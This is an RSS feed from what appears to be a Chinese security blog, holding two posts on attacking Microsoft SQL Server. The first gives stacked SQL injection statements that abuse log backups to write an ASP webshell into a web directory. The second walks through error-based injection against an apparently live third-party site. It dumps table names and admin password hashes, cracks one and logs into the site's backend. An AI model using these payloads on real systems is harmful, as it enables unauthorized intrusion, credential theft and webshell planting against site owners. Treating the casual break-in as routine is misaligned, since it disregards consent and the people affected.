<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>mssql &#8211; ChaBug安全</title>
	<atom:link href="/tags/mssql/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Thu, 17 May 2018 12:52:57 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>mssql log 备份拿 shell</title>
		<link>/web/376.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 11 Mar 2018 14:13:57 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[mssql]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[备份]]></category>
		<guid isPermaLink="false">/?p=281</guid>

					<description><![CDATA[;alter database xxxx set RECOVERY FULL-- ;create table cmd (a image)-- ;backup log xxxx to...]]></description>
										<content:encoded><![CDATA[<pre><code>;alter database xxxx set RECOVERY FULL--
;create table cmd (a image)--
;backup log xxxx to disk = 'd:/web/1.bak' with init--
;insert into cmd (a) values ('')--
;backup log xxxx to disk = 'd:/web/2.asp'--</code></pre>
<p>需要支持 Stacked Queries</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>mssql 2008 显错注入</title>
		<link>/web/336.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 21 Jan 2018 15:23:00 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[mssql]]></category>
		<category><![CDATA[注入]]></category>
		<guid isPermaLink="false">/?p=34</guid>

					<description><![CDATA[网站 sqlmap 跑红了 新网主机真 nb db_name() 当前数据库 user 当前用户 @@version 版本 后面的 &#8216;%25&#8217;=&#8217...]]></description>
										<content:encoded><![CDATA[<p>网站 sqlmap 跑红了 新网主机真 nb</p>
<p><img src="http://wx3.sinaimg.cn/large/006xriyngy1fno9qvyjz6j30l306njri.jpg" alt="" title=""></p>
<p><code>db_name() 当前数据库</code></p>
<p><code>user 当前用户</code></p>
<p><code>@@version 版本</code></p>
<p><img src="https://wx4.sinaimg.cn/large/006xriyngy1fno9ukxponj30k006twf3.jpg" alt="image" title="image"></p>
<p><img src="https://wx4.sinaimg.cn/large/006xriyngy1fno9ul1pmlj30jd06vmxo.jpg" alt="image" title="image"></p>
<p><img src="https://wx4.sinaimg.cn/large/006xriyngy1fno9ul65gfj30qi0axgmz.jpg" alt="image" title="image"></p>
<p>后面的 &#8216;%25&#8217;=&#8217; 用来闭合</p>
<p><strong>爆库语句</strong></p>
<p><code>id=1 and (select name from master.dbo.sysdatabases where dbid=1)&gt;0</code></p>
<p>这里是 master.dbo.sysdatabases 也可以写成 master..sysdatabases</p>
<p>不同的 dbid 对应 不同的数据库</p>
<p>dbid = 1</p>
<p><img src="https://wx4.sinaimg.cn/large/006xriyngy1fno9uld264j30nw06mgm8.jpg" alt="image" title="image"></p>
<p>dbid = 2</p>
<p><img src="https://wx4.sinaimg.cn/large/006xriyngy1fno9ulh3dhj30t106w74x.jpg" alt="image" title="image"></p>
<p>以此类推</p>
<p><strong>爆表语句</strong></p>
<p><code>id=1 and (select top 1 name from 数据库.dbo.sysobjects where xtype='U')&gt;0</code></p>
<p>这里的数据库是 bds0020190_db</p>
<p>查询第一个表</p>
<p><img src="https://wx4.sinaimg.cn/large/006xriyngy1fno9ulkvhrj30vt06st9f.jpg" alt="image" title="image"><br />查询第二个表</p>
<p><code>id=1 and (select top 1 name from 数据库.dbo.sysobjects where xtype='U' and name not in('第一个表'))&gt;0</code></p>
<p>注意要用双引号括起来</p>
<p><img src="https://wx4.sinaimg.cn/large/006xriyngy1fno9ulwwamj312j06sjs6.jpg" alt="image" title="image"></p>
<p>爆列之前 先要知道表的 id</p>
<p><strong>爆表 id 语句</strong></p>
<p><code>id=1 and (select top 1 cast(name as varchar(100))%2b'^'%2bcast(id as varchar(100)) from 数据库.dbo.sysobjects where xtype='U')&gt;0</code></p>
<p>同样 查询第二个表</p>
<p><code>id=1 and (select top 1 cast(name as varchar(100))%2b'^'%2bcast(id as varchar(100)) from 数据库.dbo.sysobjects where xtype='U' and name not in('第一个表'))&gt;0</code></p>
<p><img src="https://wx4.sinaimg.cn/large/006xriyngy1fno9um1aj9j315e081dgr.jpg" alt="image" title="image"></p>
<p>Sifung_Admins id 85575343</p>
<p><strong>暴列语句</strong></p>
<p><code>id=1 and (select top 1 name from 数据库.dbo.syscolumns where id=id)&gt;0</code></p>
<p>查询第二个列</p>
<p><code>id=1 and (select top 1 name from 数据库.dbo.syscolumns where id=id and name not in('第一个列'))&gt;0</code></p>
<p><img src="https://wx4.sinaimg.cn/large/006xriyngy1fno9um5f5tj311807kwfb.jpg" alt="image" title="image"></p>
<p><img src="https://wx4.sinaimg.cn/large/006xriyngy1fno9um9sipj315a06wmy0.jpg" alt="image" title="image"></p>
<p><strong>爆数据语句</strong></p>
<p><code>id=1 and (select top 1 cast(表 as varchar(100))%2b'^'%2bcast(Sifung_Admin_PWD as varchar(100)) from 数据库.dbo.表名)&gt;0</code></p>
<p>一次性爆多个列</p>
<p><code>and (select top 1 cast(列名1 as varchar(100))%2b'^'%2bcast(列名2 as varchar(100)) from 数据库.dbo.表名)&gt;0</code></p>
<p>爆第二个数据</p>
<p><code>and (select top 1 cast(列名1 as varchar(100))%2b'^'%2bcast(列名2 as varchar(100)) from 数据库.dbo.表名 where 1=1 and 列名1 not in('第一个数据'))&gt;0</code></p>
<p>如果是同数据库的话可以直接 from 表名</p>
<p><img src="https://wx4.sinaimg.cn/large/006xriyngy1fno9umg75vj315w06yjsg.jpg" alt="image" title="image"></p>
<p>1005 202cb962ac59075b964b07152d234b70 解密 123</p>
<p>登录后台</p>
<p><img src="https://wx4.sinaimg.cn/large/006xriyngy1fnoa0e38lpj30zn0ibdh0.jpg" alt="image" title="image"></p>
<p>用户名是数字 应该是员工的账号</p>
<p>也懒得找管理员了&#8230;</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
